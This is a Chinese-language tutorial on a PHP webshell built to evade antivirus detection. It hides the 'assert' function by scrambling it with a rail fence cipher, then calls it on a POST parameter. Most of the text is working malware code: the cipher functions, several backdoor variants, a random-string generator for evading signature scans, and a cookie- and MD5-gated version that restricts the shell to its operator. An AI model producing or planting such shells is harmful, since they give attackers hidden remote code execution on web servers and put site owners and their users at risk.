栅栏加密免杀php木马
字数 731 2025-08-22 22:47:39
栅栏加密免杀PHP木马技术详解
0x01 技术原理
栅栏加密是一种置换加密算法,通过改变字符位置而不做替换来实现加密。该技术利用栅栏加密来拼接assert敏感函数,与$_POST['ming']连接,形成assert($_POST['ming'])这种木马结构。
版本限制:
- 此技术仅在PHP版本<=7.0.9中有效
- 高版本PHP已移除
assert函数直接执行代码的能力
0x02 栅栏加密算法实现
加密函数
function FenceEncrypt($text, $rails) {
$railFence = array_fill(0, $rails, array());
$rail = 0;
for ($i = 0; $i < strlen($text); $i++) {
$railFence[$rail][] = $text[$i];
$rail = ($rail + 1) % $rails;
}
$encryptedText = "";
foreach ($railFence as $rail) {
$encryptedText .= implode("", $rail);
}
return $encryptedText;
}
解密函数
function FenceDecode($str, $n) {
$length = strlen($str);
$table = array();
$quotient = (int)($length / $n);
$remainder = $length % $n;
for ($i = 0; $i < $n; $i++) {
$table[$i] = array();
}
$index = 0;
for ($i = 0; $i < $n; $i++) {
$rowCount = $quotient + ($i < $remainder ? 1 : 0);
for ($j = 0; $j < $rowCount; $j++) {
$table[$i][$j] = $str[$index++];
}
}
$decodedStr = '';
for ($i = 0; $i < $quotient + 1; $i++) {
for ($j = 0; $j < $n; $j++) {
if (isset($table[$j][$i])) {
$decodedStr .= $table[$j][$i];
}
}
}
return $decodedStr;
}
0x03 木马构建过程
1. 生成加密字符串
使用随机字符串JGassKe!*-U09trgBtofJ6(lh,经过栅栏密码加密处理(栅栏数为3),得到加密字符串Jse-9go6hGs!UtBf(aK*0rtJl
关键点:
- 明文字符串中特定位置的字符用于构建
assert函数 - 第2位为a,第3位为s,第6位为e,第14位为r,第17位为t
2. 基本木马结构
<?php
$str = 'Jse-9go6hGs!UtBf(aK*0rtJl';
$n = 3;
// 解密过程...
$decodedStr = ''; // 解密后的字符串
$config = $decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
$config($_POST['ming']);
?>
3. 改进版木马(增加函数封装)
<?php
function myHiddenPost($key) {
return isset($_POST[$key]) ? $_POST[$key] : null;
}
$str = 'Jse-9go6hGs!UtBf(aK*0rtJl';
$n = 3;
// 解密过程...
$decodedStr = ''; // 解密后的字符串
$config = $decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
$config(myHiddenPost('ming'));
?>
0x04 免杀增强技术
1. 随机字符串生成器
<?php
function generate(){
$charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!1234567890';
$resultString = str_repeat(' ', 25);
$randomPositions = array_rand(range(0, 24), 5);
$vowels = 'asert';
foreach(str_split($vowels) as $index => $char){
$resultString[$randomPositions[$index]] = $char;
echo '$decodedStr[\''.$randomPositions[$index].'\'].';
}
foreach(str_split($resultString) as $index => $char){
if($char === ' '){
$randomChar = $charset[array_rand(str_split($charset))];
$resultString[$index] = $randomChar;
}
}
return $resultString;
}
function railFenceEncrypt($text, $rails) {
// 加密函数...
}
$encryptedText = railFenceEncrypt(generate(), 3);
echo "</br>";
echo $encryptedText;
?>
2. Cookie校验机制
<?php
function myHiddenPost($key) {
return isset($_POST[$key]) ? $_POST[$key] : null;
}
if(isset($_COOKIE['phpsession'])){
$cookieValue = $_COOKIE['phpsession'];
$salt = '_ming';
$saltedValue = $cookieValue.$salt;
$encryptedValue = md5($saltedValue);
if($encryptedValue == '3dd6f83a2df58e415b74edf50e65ebaf'){
$str = 'Jse-9go6hGs!UtBf(aK*0rtJl';
$n = 3;
// 解密过程...
$config = $decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
$config(myHiddenPost('ming'));
}
}
?>
安全机制:
- 使用Cookie验证使用者身份
- 添加盐值增强安全性
- MD5哈希校验
0x05 技术要点总结
- 栅栏加密原理:通过改变字符位置实现简单加密
- 函数拼接技术:从加密字符串中提取特定字符构建
assert函数 - 免杀技巧:
- 避免直接使用敏感函数名
- 增加间接调用层(如
myHiddenPost函数) - 添加身份验证机制
- 随机性增强:动态生成加密字符串,增加检测难度
- 安全限制:仅适用于PHP<=7.0.9版本